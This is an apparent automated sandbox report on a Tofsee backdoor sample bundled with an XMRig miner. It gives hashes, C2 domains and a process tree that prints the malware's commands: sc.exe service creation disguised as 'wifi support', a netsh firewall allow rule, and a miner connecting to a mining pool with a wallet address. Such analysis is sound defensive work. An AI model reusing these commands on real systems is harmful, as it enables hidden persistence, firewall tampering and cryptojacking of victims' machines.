Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-03-2023 02:18

General

  • Target

    8209beb6b60aadf651bb251bbd11d695092f01ff0577c7f7280b27ecd555b26b.exe

  • Size

    274KB

  • MD5

    bb56c80680e59414b05e9b99ac73e212

  • SHA1

    6c899c177242f54f5ace5d54e2a874a8e9366b56

  • SHA256

    8209beb6b60aadf651bb251bbd11d695092f01ff0577c7f7280b27ecd555b26b

  • SHA512

    e9f529f0fab9ea9f31e97a7337e6ffb4434795a6697164a1a819aabc136610e4e649942539fd3ed66d2c7556e9ca0f4cd12f16d45d9603774f2dad01d40b7158

  • SSDEEP

    3072:936aWhjzzu7BpaY8yuQiAbZ+sN3TcJqiwog2DGqnJYyyvs/zeFy/ULpNN4TJY:I3OBsY8XsywoDGCYbazh/eNN4T

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8209beb6b60aadf651bb251bbd11d695092f01ff0577c7f7280b27ecd555b26b.exe
    "C:\Users\Admin\AppData\Local\Temp\8209beb6b60aadf651bb251bbd11d695092f01ff0577c7f7280b27ecd555b26b.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1668
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mdldhsub\
      2⤵
        PID:4108
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zgfsaaim.exe" C:\Windows\SysWOW64\mdldhsub\
        2⤵
          PID:3524
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mdldhsub binPath= "C:\Windows\SysWOW64\mdldhsub\zgfsaaim.exe /d\"C:\Users\Admin\AppData\Local\Temp\8209beb6b60aadf651bb251bbd11d695092f01ff0577c7f7280b27ecd555b26b.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4552
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description mdldhsub "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3664
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start mdldhsub
          2⤵
          • Launches sc.exe
          PID:264
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:548
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1668 -s 1032
          2⤵
          • Program crash
          PID:3772
      • C:\Windows\SysWOW64\mdldhsub\zgfsaaim.exe
        C:\Windows\SysWOW64\mdldhsub\zgfsaaim.exe /d"C:\Users\Admin\AppData\Local\Temp\8209beb6b60aadf651bb251bbd11d695092f01ff0577c7f7280b27ecd555b26b.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3988
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4528
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2876
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3988 -s 516
          2⤵
          • Program crash
          PID:3880
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 204 -p 1668 -ip 1668
        1⤵
          PID:2528
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3988 -ip 3988
          1⤵
            PID:4892

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\zgfsaaim.exe

            Filesize

            14.5MB

            MD5

            cdd6874b460d0ff13a4bf3e7a100535d

            SHA1

            12725cfb9587495a8ebbacc3edcc69075efaa745

            SHA256

            5c7835ae43b33a9964cb8a099084e5100f811eddfcd59c19aee879a47ff66cf8

            SHA512

            b0d22d52ac383ceeb8da50bd8e4296aecd52d3a98008e0f730b2a387acc41aeadc7fa926d73e4eb25cda82872b19d09d9eb91aeecb7db2a043b5066b7702eee7

          • C:\Windows\SysWOW64\mdldhsub\zgfsaaim.exe

            Filesize

            14.5MB

            MD5

            cdd6874b460d0ff13a4bf3e7a100535d

            SHA1

            12725cfb9587495a8ebbacc3edcc69075efaa745

            SHA256

            5c7835ae43b33a9964cb8a099084e5100f811eddfcd59c19aee879a47ff66cf8

            SHA512

            b0d22d52ac383ceeb8da50bd8e4296aecd52d3a98008e0f730b2a387acc41aeadc7fa926d73e4eb25cda82872b19d09d9eb91aeecb7db2a043b5066b7702eee7

          • memory/1668-135-0x0000000002D10000-0x0000000002D23000-memory.dmp

            Filesize

            76KB

          • memory/1668-138-0x0000000000400000-0x0000000002B72000-memory.dmp

            Filesize

            39.4MB

          • memory/2876-197-0x00000000006F0000-0x00000000007E1000-memory.dmp

            Filesize

            964KB

          • memory/2876-198-0x00000000006F0000-0x00000000007E1000-memory.dmp

            Filesize

            964KB

          • memory/2876-199-0x00000000006F0000-0x00000000007E1000-memory.dmp

            Filesize

            964KB

          • memory/2876-196-0x00000000006F0000-0x00000000007E1000-memory.dmp

            Filesize

            964KB

          • memory/2876-195-0x00000000006F0000-0x00000000007E1000-memory.dmp

            Filesize

            964KB

          • memory/2876-194-0x00000000006F0000-0x00000000007E1000-memory.dmp

            Filesize

            964KB

          • memory/2876-193-0x00000000006F0000-0x00000000007E1000-memory.dmp

            Filesize

            964KB

          • memory/2876-188-0x00000000006F0000-0x00000000007E1000-memory.dmp

            Filesize

            964KB

          • memory/3988-145-0x0000000000400000-0x0000000002B72000-memory.dmp

            Filesize

            39.4MB

          • memory/4528-167-0x0000000002F10000-0x0000000002F20000-memory.dmp

            Filesize

            64KB

          • memory/4528-173-0x0000000002F10000-0x0000000002F20000-memory.dmp

            Filesize

            64KB

          • memory/4528-160-0x0000000002F10000-0x0000000002F20000-memory.dmp

            Filesize

            64KB

          • memory/4528-161-0x0000000002F10000-0x0000000002F20000-memory.dmp

            Filesize

            64KB

          • memory/4528-162-0x0000000002F10000-0x0000000002F20000-memory.dmp

            Filesize

            64KB

          • memory/4528-163-0x0000000002F10000-0x0000000002F20000-memory.dmp

            Filesize

            64KB

          • memory/4528-164-0x0000000002F10000-0x0000000002F20000-memory.dmp

            Filesize

            64KB

          • memory/4528-165-0x0000000002F10000-0x0000000002F20000-memory.dmp

            Filesize

            64KB

          • memory/4528-166-0x0000000002F10000-0x0000000002F20000-memory.dmp

            Filesize

            64KB

          • memory/4528-158-0x0000000002F10000-0x0000000002F20000-memory.dmp

            Filesize

            64KB

          • memory/4528-168-0x0000000002F10000-0x0000000002F20000-memory.dmp

            Filesize

            64KB

          • memory/4528-169-0x0000000002F10000-0x0000000002F20000-memory.dmp

            Filesize

            64KB

          • memory/4528-170-0x0000000002F10000-0x0000000002F20000-memory.dmp

            Filesize

            64KB

          • memory/4528-171-0x0000000002F10000-0x0000000002F20000-memory.dmp

            Filesize

            64KB

          • memory/4528-172-0x0000000002F10000-0x0000000002F20000-memory.dmp

            Filesize

            64KB

          • memory/4528-159-0x0000000002F10000-0x0000000002F20000-memory.dmp

            Filesize

            64KB

          • memory/4528-174-0x0000000002F10000-0x0000000002F20000-memory.dmp

            Filesize

            64KB

          • memory/4528-175-0x00000000031E0000-0x00000000031E5000-memory.dmp

            Filesize

            20KB

          • memory/4528-178-0x00000000031E0000-0x00000000031E5000-memory.dmp

            Filesize

            20KB

          • memory/4528-179-0x0000000007C00000-0x000000000800B000-memory.dmp

            Filesize

            4.0MB

          • memory/4528-182-0x0000000001080000-0x0000000001095000-memory.dmp

            Filesize

            84KB

          • memory/4528-183-0x0000000007C00000-0x000000000800B000-memory.dmp

            Filesize

            4.0MB

          • memory/4528-184-0x00000000031F0000-0x00000000031F7000-memory.dmp

            Filesize

            28KB

          • memory/4528-155-0x0000000002F10000-0x0000000002F20000-memory.dmp

            Filesize

            64KB

          • memory/4528-152-0x00000000023F0000-0x00000000023F6000-memory.dmp

            Filesize

            24KB

          • memory/4528-151-0x0000000002C00000-0x0000000002E0F000-memory.dmp

            Filesize

            2.1MB

          • memory/4528-148-0x0000000002C00000-0x0000000002E0F000-memory.dmp

            Filesize

            2.1MB

          • memory/4528-146-0x0000000001080000-0x0000000001095000-memory.dmp

            Filesize

            84KB

          • memory/4528-144-0x0000000001080000-0x0000000001095000-memory.dmp

            Filesize

            84KB

          • memory/4528-143-0x0000000001080000-0x0000000001095000-memory.dmp

            Filesize

            84KB

          • memory/4528-140-0x0000000001080000-0x0000000001095000-memory.dmp

            Filesize

            84KB